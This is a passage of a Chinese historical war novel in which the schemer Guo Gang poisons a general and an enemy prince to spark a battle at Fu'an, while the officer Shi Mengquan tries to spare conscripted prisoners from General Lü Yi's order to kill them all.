看来这两个人都动了心思要开战,石梦泉想,只要富安有一点儿动静,他们就得了理由——吕异带了骁骑营好冲锋,刘子飞带了大部队负责扫荡残余敌兵并切实占领城池。两人都想争功呢!不晓得郭罡究竟卖的什么药?他便望了一眼这难以捉摸的人,见这丑陋的男人还是不停地在擦汗,并喃喃道:“啊……这个……何必如此麻烦……何必……” 刘子飞和吕异各人下了各人的命令。石梦泉作为范柏的副官贾老实,自然是跟着邵聪等富安守军一同离开梅岭,前面是郭罡领路,旁边有骁骑营护卫,回身望望还可见到黑压压一片刘子飞率领的部队——这些兵士也并非像刘子飞所说,原地列队等候,实际一直在朝富安方向移动,只不过骑兵毕竟比步兵快出许多,两路人马间的距离也就越拉越大。 当郭罡带着众人来到富安城下,果然看到富安城楼上插着郑国二皇子的大旗——先前远眺靖杨时见到过。城楼上的士兵也是郑军服色。这些人不是樾军假扮的吧?石梦泉担心地瞥了一眼郭罡,若那样,吕异一旦下令开战,岂不是打了自己人? 城上的人见来了部队,就朝下喊了几句话。郭罡表明了身份,城门便打开了,有士兵迎了出来:“郭先生,二殿下在总兵府里等着您呢!” 郭罡道:“好。”又回头来征询吕异与范柏的意见:“范总兵带着亲兵进去,还是吕将军也一起将骁骑营全都带进来?” 范柏当然是想把骁骑营全都带进去了。不过吕异毕竟久经沙场,知道富安此地原是商港,不似那些历来就作为军事重镇的城池,道路经是经纬的纬,此地街巷东弯西绕,冷不丁就冒出个死胡同来。如果大军贸然进去,万一遭遇郑军埋伏,就十分棘手。反而留在城外更利于战斗——因这城池不能据险以守,兵临城下就更有威慑力,让里面的敌人不敢轻举妄动,即便遇到突发状况,要冲进去也不困难。他即道:“青陵,你带着你的人马进去。舅父就在此处守着。谅他们也不敢玩什么花样。” 范柏无法,只有答应,带着石梦泉、邵聪等一千多人进了富安。 一进城,他就发作了,冲着郭罡怒道:“老家伙,你到底要怎样?陪你作戏作到这份儿上,我也算仁至义尽了吧?” 郭罡淡淡地笑:“范总兵,帮人帮到底,送佛送到西,与人方便与己方便。你继续跟老夫合作下去,自然有你的好处。” 范柏白了他一眼:“哼,说的比唱的还好听。我可看不出跟你合作有什么好处。现在刘将军上奏朝廷说我私自兴兵,万岁查问起来,我的麻烦可大了!” 郭罡笑道:“玉大人也到皇上跟前参了你一本,反正砍你一次头也是死,砍两次头也是死,刘将军参你的也没什么影响。” 范柏骑在马上也差点儿跳了起来:“老家伙,我现在就砍了你!” 郭罡道:“范大人何必动怒?无论是玉将军参你还是刘将军参你都罪不至死。其实要我说,刘将军参你的那一本实在是帮了你的大忙——战场上的过失自然要在战场上补偿,如果你成了攻陷郑国的大功臣,谁还会追究之前的折子上写了什么?” 范柏冷笑:“攻陷郑国的大功臣?我舅父带着骁骑营,刘子飞更是带着玉旒云的大队精良人马——玉旒云还不知道在什么地方等着,几时轮到我做功臣了?” 郭罡也笑:“今天就是大人建功立业的大好时机啊——郑国二皇子是我骗到此处来的,大人只要把他杀了,这个功劳不是很大么?” 范柏一怔。石梦泉也吃了一惊,看看迎他们进来的郑军士兵离得很远,才问:“当真是郑国二皇子?” 郭罡轻描淡写:“自然。他乃是天字一号的草包,对老夫的话深信不疑。我跟他说我用间成功,樾军起了内讧,现在必须撤出富安,他就立刻欢欢喜喜地带着人马来到了城里,准备以此为根据地继续西征呢。” “哦?”范柏喜道,“那今天我樾国大军来到城下,你又是怎么跟二皇子说的?” 郭罡道:“我对他说,我可以假装投降,骗了樾军主帅进城来将其擒获,然后以此为要挟,樾军自然不战而退——他又怎么想到范大人你会带了这么多人马进城,而且一见面就取他的脑袋呢?” 范柏哈哈大笑:“果然。遇到你这种没心没肺的奴才,你主公可真是倒了八辈子穷霉了。” 郭罡跟着嘿嘿一笑:“多谢范大人夸奖。所谓‘人不为己,天诛地灭’。郑国气数已尽,我跟着二皇子一点前途也没有,当然要早为自己打算。”他从怀中取出一张富安地图来,上面画了好几个红色的圈。“这是郑军埋伏的地点,”他道,“石将军,你可带兵去将这些人抓获。” 石梦泉一怔,简直不知他哪句话是真的,哪句话是假的。 郭罡道:“郑军在城中的不过五千人,但也比樾军的人马多,如何将他们一一制服,就要看将军你的本事了。” 石梦泉皱着眉头,希望他能有更明确的解释。但范柏嘿嘿冷笑:“石梦泉,你向日都是跟在玉旒 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石梦泉叹口气:实在不知道那里面将发生些什么。他低头看看地图上的红圈,发现正是城中秘道的出口。除了总兵府花园和码头边的两个出口外,其他各地每处都有一个红圈。原来郑军都埋伏在地道里,只要把地道口看守上,那就真的“一夫当关,万夫莫开”了。难怪郭罡对以一敌五也如此有信心。 他当下命令邵聪带领兵士逐一检查各个地道出口,如果能找到当日玉旒云用来封闭出口的大石,就用石头将出口堵上,如果暂时寻不到石头,就在出口上架空烧一堆篝火,总之让郑军出不来就行。 邵聪道:“不用将他们都消灭么?” 石梦泉摇摇头:“没有那个必要,等这边结束了,就劝他们投降加入我军,如果不肯的就等到灭了郑国,便放他们回家——我们的目标是拿下郑国,不是杀光郑国士兵。而且这些人里,恐怕被强征来的居多。” 邵聪抓了抓脑袋:“可不是!” 石梦泉又道:“总兵府门口还有郑军守卫,里面也不知有多少人。如果你把我们的人都带去封地道了,恐怕太惹眼。大部分人得留在这里——你行事要小心,万一撞上小股的郑军,那就只好将其消灭了。” 邵聪点点头,又问:“那石将军你呢?” 石梦泉指了指总兵府:“我进去看看。” 也许郭罡的确是想让范柏杀了二皇子。石梦泉进总兵府,除了在门口有几个士兵盘问了他一下之外,府内畅行无阻,连卫兵的影子也不见。他不知范柏究竟在何处同二皇子“交接”,转了几个弯之后,看到花厅门前有几个士兵在把守,想来就在那里了,因闪身躲进了游廊的阴影里,迅速绕到了花厅的后方。 这时便听到了一阵琴声,低沉古雅,仿佛一阵无依的西风吹过寂静的战场。二皇子宴客奏乐用这样的曲子倒也奇怪! 他来到后窗下,冬季用的棉帘子被半卷起,刚好可以一窥究竟。而只一眼,他就惊得呆在原地:花厅正中两个年轻人躺倒在地,一个是范柏,另一个华服者应该就是郑国的二皇子,他们旁边还有几个郑军士兵和范柏挑着跟进来的樾军士兵,也都横在地上,看他们七孔流血,显然是中了剧毒而死。再看对面窗下,好整以暇弹着古琴的正是郭罡。 “去时怀土兮心无绪,来时别儿兮思漫漫。塞上黄蒿兮枝枯叶干,沙场白骨兮刀痕箭瘢。”郭罡边弹边唱,对满堂的死人视而不见,“风霜凛凛兮春夏寒,人马饥荒兮筋力单。岂知重得兮入长安,叹息欲绝兮泪阑干。”一曲完毕,抬起头来刚好对着石梦泉:“石将军已经来了,为什么不进来?” 石梦泉怔了怔,翻身跃入厅内:“这是怎么回事?” “正如你所见,”郭罡道,“我在茶里放了点毒药,他们都死了。” “我自然那知道他们都死了,也自然知道是你做的。”石梦泉看到他这种不把人命当回事儿的态度就不禁怒上心头,“你到底要做什么?” 郭罡道:“自然是帮玉大人拿下郑国。” 现在连这句话都显得不那么可信。石梦全一把揪住他的胸口,道:“玉大人到底在哪里?你不要跟我玩花样!大军就在城外,如果你敢对玉大人不利,你一定不会有命活着走出富安。” 郭罡呵呵一笑:“石将军何必这么冲动?比起老夫来,恐怕吕、刘两位将军更想对玉大人不利吧?玉大人现在在朱家坝,要等到战斗打响了,她才有机会回到军中。” 石梦泉盯着他,显然并不相信。 郭罡手指又轻轻拨动琴弦:“石将军还是放开老夫的好,外面的人如果发觉里面有什么不对劲,就会进来的——石将军会弹琴么?” 莫名其妙!石梦泉道:“不会。” 郭罡笑了笑:“哦,没关系。那里有一架编钟,石将军能不能过去帮老夫随便敲几下?”拨弦的间隙他手一指,石梦泉顺着看过去,果然有一架编钟。 “我不会敲编钟。”他说。 “没关系。”郭罡道,“顶上一排敲一三五七,下面一排敲二四六八,如此轮换,大事可成也!” 石梦泉真是如坠云雾,不过看郭罡神色相当认真,便想:我敲一下又如何?因走到了编钟跟前,按照那“一三五七,二四六八”敲了起来。 这边旋律刚起,郭罡就站起了身,走到一个郑军兵士的尸体旁,拔出那人的腰刀来,胡乱在尸体上捅了几下,跟着又到旁边樾军士兵的尸体上如法炮制。不一会儿,就把所有的尸体都扎了个遍——也把每一把死人的刀都用了一回。接着,他转过头来看着惊诧的石梦泉,道:“听说石将军不仅是个阵前指挥战术天才,身手也不错。不晓得你一个人可以对付多少个郑军卫兵?” “什么?”石梦泉一愣。 郭罡嘿嘿一笑:“我还听说石将军惯使枪,不过十八般兵器无有不会的,今天就想见识一下你的刀法。” 石梦泉愈加不解。 郭罡道:“石将军,希望你能够全身而退。老夫同你后会有期!”说时,他手起刀落,砍下了范柏的头颅,高声呼道:“救命!抓刺客!”同时将钢刀朝石梦泉一丢,自己提着范柏的头跳窗而去。 石梦泉一骇,外面已经响起了脚步声和兵刃出鞘之声。几个郑军士兵冲了进来,先呼了几声:“大胆刺客,哪里跑!”但看到血泊中的尸体和手持钢刀的石梦泉,就全都呆住了,你看看我,我看看你,似乎是在相互用目光推推搡搡,没一个愿意先出手的。 原来郭罡说的话是这个意思!石梦泉手腕一抖,刀光霍霍闪动。有个胆大的士兵举刀朝前逼近了一步,但还未站稳已经被一记敲在刀身上,震得半臂酸麻,钢刀登时脱手。他愕了一愕,待要再空手来战,却听“咣咣”几声,同伴们纷纷抛下了刀,转身夺路而逃。他哪里还敢恋战,也连滚带爬地跑了出去。 二皇子带的都是这样的士兵,石梦泉想,哪怕没有郭罡出卖他,他又能成什么事?然而省了一番搏斗也是好的。估计外面很快就要混乱起来,他便快步奔了出去。 到了门口,邵聪带人去秘道处置伏兵还未回来,可门前却乱哄哄打成了一团——郑国卫兵要朝外面冲,而樾军就要往府中闯。毕竟樾军人数众多,又训练有素,许多郑军卫兵立刻就成了刀下亡魂。 “外面出了什么事?”石梦泉拦住一个正要冲进门里的士兵,“怎么突然打了起来?” “咦,你在里面怎么不知道?”这士兵显然没认出这个“大胡子”,道,“刚才里面突然丢出范总兵的人头来。跟着郑军就拼命朝外冲——我们中计了!” 不错,大家都中计了——大家都成了郭罡计策的一部分。 石梦泉不能暴露身份,所以也无法控制总兵府的局面,权衡之下,决定先去找邵聪。 这一突变前后不过才一顿饭的光景,因此,邵聪一行也还没去得很远,他来到城中的春风楼就见到了。 “总兵府门前已经乱成一团,”他简略地说了情形,“如果消息传出去叫吕将军知道,骁骑营一定会冲进城来。城里的郑军现在已是亡命之徒,交战起来没有丝毫的意义。你们要加紧行动,将他们拦截在地道中。” 邵聪点头答应,又道:“石将军,这个姓郭的一时这样一时那样,满肚子都是鬼主意,将咱们一耍过来一耍过去的。玉将军信了他,用了他的计策,会不会也被他害?” 石梦泉敲了敲自己的额头:“我也正担心此事,所以要趁着骁骑营还没冲进城来赶到朱家坝去看看。这里的一切就劳烦你帮我注意着。” 邵聪道:“将军请放心。看来郑军下地道的时候很匆忙,只不过就把原先的封口石搬开一边而已。我们现在就只需要把石头再搬回去,简直便宜之极。”他指了指旁边已经被石板挡住大半的洞口,里面有几只手正伸出来,奋力想推开石板。但须知石板沉重,从外头挪过来以需要几人合力,从底下推开是何等的困难?所以下面被困的郑军只有眼巴巴看着樾军将洞口堵住。 石梦泉拍了拍邵聪:“地道处处相连,动作要快,提防敌人从别的出口出来——包括总兵府和码头附近那些没有埋伏的出口。” “是!”邵聪道,“我们现在就去城西的出口。” 石梦泉点点头,又叮嘱一句:“劝他们投降。” 邵聪道:“晓得了——将军,像你这么好心的敌人郑军怕是头一次遇到吧?你把这些人放回国去,大概他们全国都要向你投降了呢!” 石梦泉勉强笑笑。这时刻,玩笑并不能使他放松。当下,和邵聪告别,直奔城北门。 范柏已死,贾老实的身份就不可再用了——否则被吕异捉到,一定有许多麻烦。他因将满脸的假胡子扯了下来,只留了三绺,又找一处破房子抹了点儿墙灰在胡子和眉毛上,看起来就有几分像是饱经风霜的老兵——在水池中照照,自己都认不出自己来。这样化装好了,才继续朝城门奔。 只是才到半路,就看到有大队郑军从一片破屋中拥出。看来是邵聪来不及封上北面的秘道出口,所以埋伏的郑军听到消息就跑了出来——不过总兵府的消息怎么这么快传到此处?啊,是了!他立刻想出答案:郭罡大概丢出了范柏的人头后就从花园秘道跑来这边传信!这阴险的人哪——杀范柏激怒樾军,杀二皇子把郑军逼上绝路,其目的就是要叫富安打起来! 单枪匹马不能和这许多敌人硬拼,石梦泉只好迅速地躲进一间破屋之中。 “守好北门!其他人立即增援西门!”他听见有郑军军官喊话,“千万不要让樾军攻进来。争取时间向东门撤退!” 可恶!北门关闭了,怎么去朱家坝?他想,那就只有从西门绕——骁骑营这会儿该得到消息了,他们一冲进来,西门必然是打开的。 便密切注意着街上郑军的行动,看大队人马一过,就立即出来往西走。 果然如他所料,没行多远就已经看到了骁骑营的人,马匹矫健,骑手勇猛,郑军那些步兵根本就拦不住,有些还没来得及拔出刀来,已经被骑兵一枪搠倒,更有一些转身想跑,却被马蹄践踏。雷鸣般的蹄声中,惨叫之声也不绝于耳。 石梦泉不能到街上去,只有在破屋间穿行。 他有一种奇怪的感觉——在战场之上,枪林箭雨之中,矢石交攻之际,与敌人殊死搏斗,惨烈胜过今日千百倍。但是,无论是见到纷飞的血肉,还是听到哭天抢地的嚎叫,他从来没有像今天这样感觉心口被揪住了,堵得喘不过气来。 今日这是一场阴谋,是郭罡的算计,因他一句“人不为己,天诛地灭”,因他想要成就一番惊天动地的大事业,他让樾、郑两国在此交战。 不由捏紧了拳头:樾、郑之战是不可避免的,但不应该是这样……不应该是这样稀里糊涂…… 他加快脚步在断壁颓垣中前进。他要尽快找到玉旒云,跟她商量,哪怕就光明正大地打一场,迅速占领郑国,也可以把为谓的伤亡降到最低。若再由着郭罡这样胡闹下去,不知有多少血肉之躯会成为他的踏脚石。 将要到西门的时候,他看到吕异了,正打马朝城中来,哇哇地怒吼不止:“混帐!竟敢用此阴险毒计害人!把这城里的郑人全都给我杀光了,一个也不许剩!混帐!今天就打到靖杨去,郑人一个也不能留!” 石梦泉惊了惊,回身看吕异的背影,在马上还挥着大刀,好像已经在砍郑人的脑袋。 他停下了脚步,呆了片刻,毅然转身往回。 58. 第 58 章 富安的战斗并没有持续太久。骁骑营冲进城之后没一刻功夫,郑军就溃败了。吕异进入总兵府,见到了身首异处的范柏,一刀砍在了花厅的柱子上,然后下令骁骑营将俘虏的郑国兵士全部斩杀。 骁骑营都尉陈灏道:“将军,俘虏的郑军已经投降。斩杀俘虏,万一把他们逼急了……” 吕异道:“逼急了又怎么样?一群乌合之众还敢造反不成?你立刻派人去告诉刘子飞,叫他火速赶来,我今天就要进攻靖杨!” 陈灏道:“将军,郑人敢以计诱杀范总兵,恐怕靖杨那边早有埋伏。还是应该先行侦察,再决定出兵之事吧?” “侦察什么?”吕异吼道,“青陵虽然被害,但也把二皇子杀了。靖杨那边纵然有伏兵也是有兵无将,何足为惧?以你骁骑营三千精兵直冲过去,他们必然措手不及。而刘子飞所带健锐等营,正好作为后援——这样万无一失,还需要侦察么?玉旒云训练你们,是叫你们做胆小鬼的么?” 陈灏并不为他所激:“将军,郑国皇帝驾崩,二皇子和皇叔争夺帝位,也许这本是皇叔的阴谋呢?借我们之手杀了二皇子,也借二皇子之手杀了范总兵,然后他暗中集结军队在靖杨等着我军……” “你是将军还是我是将军?”吕异怒道,“玉旒云没有教你怎么服从将令么?” 这一句才把陈灏堵住了,忿忿地行礼:“是,将军。”便退了出来。 到门口就撞上了一个须眉斑白的老兵。他愣了愣,认出来:“石将军,你怎么……” 石梦泉叫他别出声,跟自己走,到了花园的秘道旁,看左右无人,才道:“吕将军是叫你血洗富安吧?” 陈灏一甩手,怒道:“素来没有这样的规矩啊!他只因范总兵被杀了——石将军,你跟着进来,范总兵怎么和二皇子两个都死了呢?你可看见?” 石梦泉犹豫了一下:“这个我也不清楚,我看到的时候他们已经都死了。我想……这是一个计策,故意要叫两军在富安开战。” 陈灏不解:“计策?谁的计策?” 石梦泉不想考虑这个问题——无疑是郭罡的计策,他究竟是用这计策算计了玉旒云,还是玉旒云默许了他的计策?无论前者还是后者,石梦泉都不愿意看到。“现在不是深究的时候。”他道,“大概还有三、四千郑军被邵参将和我困在城里,如果吕将军发现他们,必然要将他们赶尽杀绝。虽然他们不是我军的对手,但是一旦打起来,双方都会有伤亡。我想劝他们投降,你要帮我隐瞒此事。” 陈灏道:“投降了又怎样?吕将军现在要杀光俘虏。” 石梦泉道:“你只须敷衍着他,其他的交给我。郑国本就风雨飘摇,我军如果落下个滥杀无辜的名声,就是攻下郑国,也是无法统治的!” “不错。”陈灏点点头,又道,“玉将军呢?” “我少时就去寻她。”石梦泉道,“现在这情形,她不便出面。” 陈灏一想:可不是,玉旒云时出来,吕异铁定迁怒到她身上。因向石梦全抱了抱拳,道:“我先去敷衍吕将军,石将军请自己小心。” 石梦泉点了点头,同他分了手,就去找邵聪。 其实方才他见到骁骑营进城决定留下,折回时就已先找过邵聪。是他帮邵聪一起迅速地封上了城西的两处出口,这才使得那儿埋伏的郑军不至稀里糊涂地出来送命。后来他要回总兵府探听消息,就嘱咐邵聪守在城西不要出来——否则,吕异一定会因范柏之死而迁怒于他。 这时他赶到约定之地,邵聪果然还不曾离开,见了他,就道:“石将军,情形如何?” 石梦泉道:“吕将军下令处死所有战俘,虽然他现在还不晓得我们困了三、四千人在此,但很快就会知道的。况且地道处处相连,这些郑军倘从别的出口出来,也会和我军起冲突。当务之急是叫他们立刻投降,然后离开此地。” 邵聪道:“就怕这时二皇子丧命的消息已经传开了,恐怕很难劝动他们。” 石梦泉道:“不试一试,始终不知道。帮我把石头搬开吧。” 邵聪只有从命,招呼手下帮忙,同时叫他们提高警惕,只要秘道中有任何异动要对石梦泉不利的,立刻格杀。 这时只是下午,但冬天天黑得早,四周已经相当昏暗,又忽然零零星星地飘起雪来,落在眉睫之间,视野愈加模糊。当封口石板被移开时,地道里漆黑一片,只隐隐感到有人在挪动,却什么也看不见。石梦泉就打起火褶子来。 一照之下,他不禁又惊又怒——里面的人哪里有半分士兵的模样?当先是几个瘦骨嶙峋的老者,又搀杂着三两个恍如惊弓之鸟的少年。他们骤见光亮纷纷以手遮眼。石梦泉便看到其中一人的手已经被齐腕斩断,包扎的布条上犹见黑色的血迹。 “你们……是二皇子的士兵?”明知是多此一问,他还是问出了口。 “是……是啊……”一个老者回答道,“你又是谁?” “大叔!”旁边一个少年道,“他们好像是樾军。” “是么?”老者道,“樾军不是把我们堵死在里面,怎么又……” “就是樾军啊!”另一个老者道,“二殿下要我们杀樾军……”边说着,边去身边摸武器。 外面邵聪等人也跟石梦泉一般的惊讶,甚至看到了这个动作也没想起要反应的,直到那人抽出刀来晃了两下,才有一个樾兵喝道:“放下!找死么!”那人还真的一怔,刀脱手落地。 那种异样的揪心的感受又来侵袭石梦泉,他叫邵聪的人退开一边,在秘道口矮下身子,和气地问道:“老人家,你参军多久了?” 老者呆了呆:“多久?”他看看身边的同伴,那同伴即道:“总有一个月了!别看我们才参军一个月,也晓得怎么杀敌。你是樾人,我们就杀你!”说着,真的一刀砍了过来。 石梦泉连忙偏身闪过。“老人家,”他道,“你要杀我也要看看现在是什么情形。你们已经做了我军的俘虏,如今主帅有令,要将所有俘虏斩首,你们就快自身难保了。” “啊?”地道中的人都是一愣。有人道:“你们不就是把我们堵在这里么?二殿下还带着其他人来救我们呢!二殿下就要杀了你们的主帅,然后当皇帝。” 石梦泉摇了摇头:这些人看来什么都不知道。“二皇子已经死了。”他道,“你们现在只有两个选择,或者投降,或者死。” 下面的人都是一阵惊诧之声,后面的要问前面的发生了什么事,而前面的人又不清楚是不是该相信石梦泉,一时混乱异常。 邵聪不得不出声喝止:“石将军好心来给你们一条生路,还不快投降,谢谢石将军?” 这一喝极具威严,许多郑兵吓得立刻道:“好,好,好,我们投降……”便纷纷抛下了兵器。但也有人道:“不是要把战俘砍头么?投降也是死啊!”反而握紧了兵器,打算就冲出来一搏。但是,樾军在上他们在下,根本就没有丝毫的胜算。众人你推我搡,有误伤自己人的,一阵哀叫之声。 石梦泉叹了口气,道:“我是樾国将军石梦泉,乃是惊雷大将军玉旒云麾下。我们的规矩是不杀俘虏的。只要你们愿意放下兵器,解下盔甲,离开军队,我担保不让任何人害你们性命。” 这些人旁的名号没听说过,“玉旒云”这三个字却晓得,如果不是去年她翼水一战斩杀了郑国大将曹猛,郑国也不会割让半壁江山给樾国。玉旒云战胜之后,下令军队不许扰民,有几个士兵骑马践踏了庄稼,立刻被她斩首。因此上,本来人人自危的占领区生活能够井井有条地继续下去。这里的人有不少是郑国割地之后不愿做亡国奴所以从占领区东迁的,他们对玉旒云这个敌人自然说不上爱戴,但晓得她言出必行,所以对她又敬又怕。 “这次主帅是玉将军么?那怎么还下令杀俘虏?”一人问。 “现在城中统帅是吕异吕将军。”石梦泉道,“不过玉将军也在此间。如我方才所说,只要你们弃甲投降,她一定不会为难你们,相反,还会保你们安全。你们可愿投降么?” 那些人你看看我,我看看你,终于有一个出了声:“那……那我们投降……好了……我们要干些什么?” 石梦泉道:“你们可认识从地道回靖杨的路么?立刻回去。” “这地道可以回靖杨?”众人惊道,“这不就是藏兵洞么?”一阵交头接耳,后面的人显然是经过了一番探索,传话过来道:“这里都是死胡同,哪儿都不能去啊!怎么回靖杨?” 啊?莫非底下堵住了?石梦泉一惊,但也立刻反应了过来:是了,要不怎么二皇子的死讯没传到这里,而且这里的人也没有从别的路逃走呢?莫非是郭罡下定决心要在这里让两军打起来,让大家都杀红眼,所以特特堵住了郑军的退路?果然够狠毒的! 底下的人也都急了:“石将军,我们怎么回靖杨啊?” 总不能让他们一个跟一个都出来然后从上面光明正大地走回去吧?石梦泉想,那样恐怕走到了半中途,就已经被吕异发现了。况且,樾军攻打靖杨是迟早的事,这些人回去了,还是会被强征入伍。战场之上,樾军遇到的抵抗越顽强,战斗也就会越激烈,双方的死伤也就越多。 “不如这样,”他对邵聪道,“且将他们暂时关在这里,给他们粮食和水。等打完了仗,再放他们出来。” 邵聪抓了抓脑袋:“可是,我们的粮草也不够啊……”他低声对石梦泉道:“将军,你本来是想劝他们投降加入我军,不过现在看来这些人根本就上不了战场。我知道你不忍心杀他们,不过,现在他们还是郑国人,我军还未占领郑国呢,没必要帮人家养难民吧?再说,他们都是郑国军人,就是我们的敌人……玉将军说不能滥杀俘虏,但是也没说要让自己的将士挨饿来养着俘虏吧?” “你不必说了。”石梦泉道,“总之……总之先把他们留在这里,千万不要让吕将军发现。等大军离开富安,再想办法。” 邵聪点点头,吩咐士兵重新把石板盖上。 石梦泉又到城西的另一处出口查看。情形相同,地道里困着的都是老弱残兵。他无能为力,只有仍旧吩咐邵聪尽量隐瞒此事,等到大军离开为止。 也许郭罡早也安排好了,他想,二皇子的兵力有限,根本不可能在所有的地方都埋伏上有战斗能力的正规军,所以,只在北方埋伏下少壮兵力,事发之后就冲出来战斗,其他地方都是些老弱病残,不过是壮壮声势而已,若是能冲出来,就制造些小混乱,被困住了,正好给吕异祭刀。还有那刘子飞也是个贪婪残暴之人,只有越杀越开心的,一路杀到郑国去……不过郭罡究竟是什么意思呢?他让吕异和刘子飞来和郑军交战,究竟是什么意图呢? “将军,”邵聪道,“城北的伏兵不是死了就是已经被俘,我看也没必要去看了。现在还剩下春风楼一处出口,要去那里看看么?” 石梦泉想了想:看也无用,这当儿,只有希望大军迅速攻下靖杨,战争尽快结束。因道:“不必了,我到朱家坝去见玉将军,你们跟着吕将军和刘将军千万自己小心。如果他们又要屠城,一定要拼死劝阻。” 邵聪道:“晓得了。希望玉将军那边另有计划,毕竟还是跟着她比较好一些。” 石梦泉道:“我也希望如此。”拍了拍邵聪的肩膀,算是道别,独自往北,想趁着昏暗出城门去。 只不过才一刻功夫,雪已经下得大了起来,踩下去的脚印转眼就消失得无影无踪。狂风卷着雪片,像是一层一层的网朝人身上兜过来,越来越重,简直寸步难行——思绪也仿佛是被雪网网住了,沉重得拉也拉不动。他想,一切等见到了玉旒云再说,可这是到了哪儿?停下看看四周,发觉走了这么久才回到了春风楼附近。 于一堵残墙跟前拢着手稍稍喘了口气,准备继续前进。这时,就听见呼啸的风声中夹杂着一阵人声——莫非是春风楼那里的地道出口发生了什么事?他心中一紧,赶忙过去看个究竟。 到得跟前,果然见到火光冲天,全副武装的樾军士兵把春风楼围了里三层外三层,似铁桶一般。他更听到吕异的声音:“郑军就是被困在这里么?来人,把石板给我搬开!” 石梦泉心底发凉:糟了!吕异这是要屠杀泄愤!这儿的人是保不住了,城西的两处就算是即刻去通知,也无处可逃。唯一阻止他的办法就是现在出去,表明身份,但那样就害了玉旒云。 他定不了对策,但身体已经行动在思想之先。趁着黑暗的掩护,迅速闪进春风楼后面的一条僻巷中,轻身纵上临街一间店铺的房顶,再一跃,上了春风楼的二楼——这里早就废弃了,窗户纸都朽坏,满屋只有灰尘和蜘蛛网。他便迅速地在黑暗中穿行,小心翼翼地避开障碍物,一路来到面朝天井的窗前,就可清楚地看到吕异等人。 几个富安守军正依照命令搬开石板。陈灏满面担忧地站在一边,显然先前有诸多劝阻,吕异都充耳不闻。待石板挪开了,士兵们就举了火把到洞口看究竟,人人都显得有些紧张,一手握着火把,另一手都摸到了腰刀上。 石梦泉的心提到了嗓子眼儿。 这不过是一眨眼的功夫,感觉上仿佛有好几个时辰那么长。 “报告将军,”一个士兵道,“里面什么人也没有。” “什么也没有?”吕异不信,将那士兵推开了,亲自上前来看。用火把照了半天,果然是连鬼影也没看见。“他娘的,怎么会这样?”他骂,又问,“你确定那个郭罡叫人封的就是这个地方吗?” “绝对没错。”那士兵回答,“姓郭的把地图交给来时,我亲眼看到的。这洞口也是我参加封的,那时明明有人啊!” 也许这里是郭罡不曾封堵退路的一处地道,石梦泉想,里面的郑兵已经沿着地道上别处去了。 吕异叉着腰,很是恼火的样子:“那还有哪几个出口?你这就带我们去。” “就只有这一个。”士兵道,“姓郭的当时在地图上画了一个大大的红圈儿,我还想,就这么一个地方能躲几千人?来了之后,看底下确实有好多人……现在怎么都不见了呢?” 这是邵聪的手下?石梦泉皱着眉头,为什么要说这样半真半假的话?奇怪。 吕异道:“你晓得这地道通往何处么?” 士兵摇头。 吕异摸摸下巴:“也不知到底有多深、多广——来几个人,下去看看——” “不可!”陈灏立即阻止,“将军,既不知道里面是何情况,怎么可以贸然下去?万一郑人埋伏在某条支路上,我们的人必将有去无回。” “你说的也不错。”吕异想了想,“那就去找些火油来,倒进地道里去,管里面是人是鬼,先都烧熟了,再下去看个究竟。” “也不可。”陈灏道,“如果郑人事先就在地道里埋下了火药,我们一点火,岂不就把自己炸上了天?” “这也不可,那也不可——”吕异道,“玉旒云教的到底是一群缩头乌龟还是我大樾国的士兵?” 他口里虽然这样骂,但是心里也晓得陈灏说的有理,思考了片刻,道:“来,把俘虏给我押过来,一个一个砍了推进洞里去。郑人既然给自己挖好了坟墓,我们没道理不用。” “将军——”陈灏再要劝,吕异却把披风一抖,雪末子翻飞着全都盖到了他的脸上。“你少罗嗦!”吕异道,“现在我是你的将军,我说什么你就做什么!” 陈灏低头咬着嘴唇,不得不道:“是。” 便将战俘带了上来。一队有百来号人。领到吕异跟前时,他冷冷一笑,“唰”地抽出了刀来照着第一个人的脖子就斩了下去。他那本是先皇所赐的一把吹毛就断的宝刀,这一击过去,俘虏连吭也没吭一声已经身首异处。吕异对着刀刃轻轻一吹,鲜血都汇集到了刀尖儿,点点滴滴坠在雪地上,仿佛开了梅花。他看了一眼,抬脚将那郑兵的尸体踢进地道之中。“看,就是这么简单,干净利索。”他道,“来,把这些郑国狗排成二十列每列十人。骁骑营,来二十个人,从队头到队尾一路砍过去,谁先砍完谁就赢,本将军重重有赏——玉旒云毕竟是个女人,她带的队伍全都婆婆妈妈满是妇人之仁。本将军好好练练你们的胆子!” 骁骑营士兵军纪严明,也许在战场上会相互间较量看谁杀的敌人多,但下了战场几时做过这种杀人比赛之事,一时都面面相觑。陈灏更是忍无可忍,到吕异面前“扑通”跪下,道:“将军,这万万不可,请将军三思!” “不用三思。”吕异道,“郑国人自不量力,现在就要先杀他们立威。把这消息传到东边去,这些郑国狗就会不战而降了,哈哈……” 他的笑声忽然被一阵古怪的风声截断了。只听陈灏惊呼一声:“将军小心!”飞扑上去将他撞开,一支要命的羽箭堪堪贴着他的耳朵射了过去,如果行动晚了一瞬,他早已成了箭下亡魂。“有敌人!”陈灏呼道,“骁骑营戒备!” 其实在他喊出这一句的时候,四面八方又有几十支羽箭射了出来,箭箭都是瞄准吕异的。情急之下,他只有以身护着吕异,在雪地上飞快地滚开了几仗,躲到了一堵残墙之后,才略略有了喘息之机。 在场骁骑营和富安驻军纷纷各寻隐蔽之所,同时拿出弓箭来还击。只是,箭矢显然从高处射出,他们站在天井中,地形十分不利,再加上大雪纷飞,根本就辨不清敌人的踪迹。倒是石梦泉在春风楼楼上,才可看清箭矢的来路——春风楼呈“口”字形,他自己在西面的二楼,从此角度看去,东面、南面和北面的楼上羽箭飞蹿如蝗,自己这边的三楼之上也有箭矢飞出,显然敌人是早就躲藏在楼中,只等着吕异一行钻进自己的包围圈。 可恶,莫非这又是郭罡的计策?难道郭罡的下一个目标是吕异么?他心中一惊:可不是!杀了范柏只能将事情隐瞒住一时半刻,只有将刘子飞和吕异都解决郭罡编的这个大谎话才不会被拆穿。 这人如此心狠手辣!他气得微微发抖,这不是叫骁骑营和富安驻军陪着一起来送死么? 不知道樾军的其他人在何处,何时能赶来——就算此刻冲出去搬救兵,回来时春风楼的樾军恐怕早也成了刺猬。 他焦急地冲到了楼梯口,想要单人匹马冲上三楼去解决一些敌人,但转念一想,这无异于自杀,对情势没有丝毫的帮助。 还有什么其他的办法?蓦地脚踢到了一件事物,滴溜溜地滚了出去,接着雪光看,原来是一个空酒坛。 不知春风楼还有没有存酒? 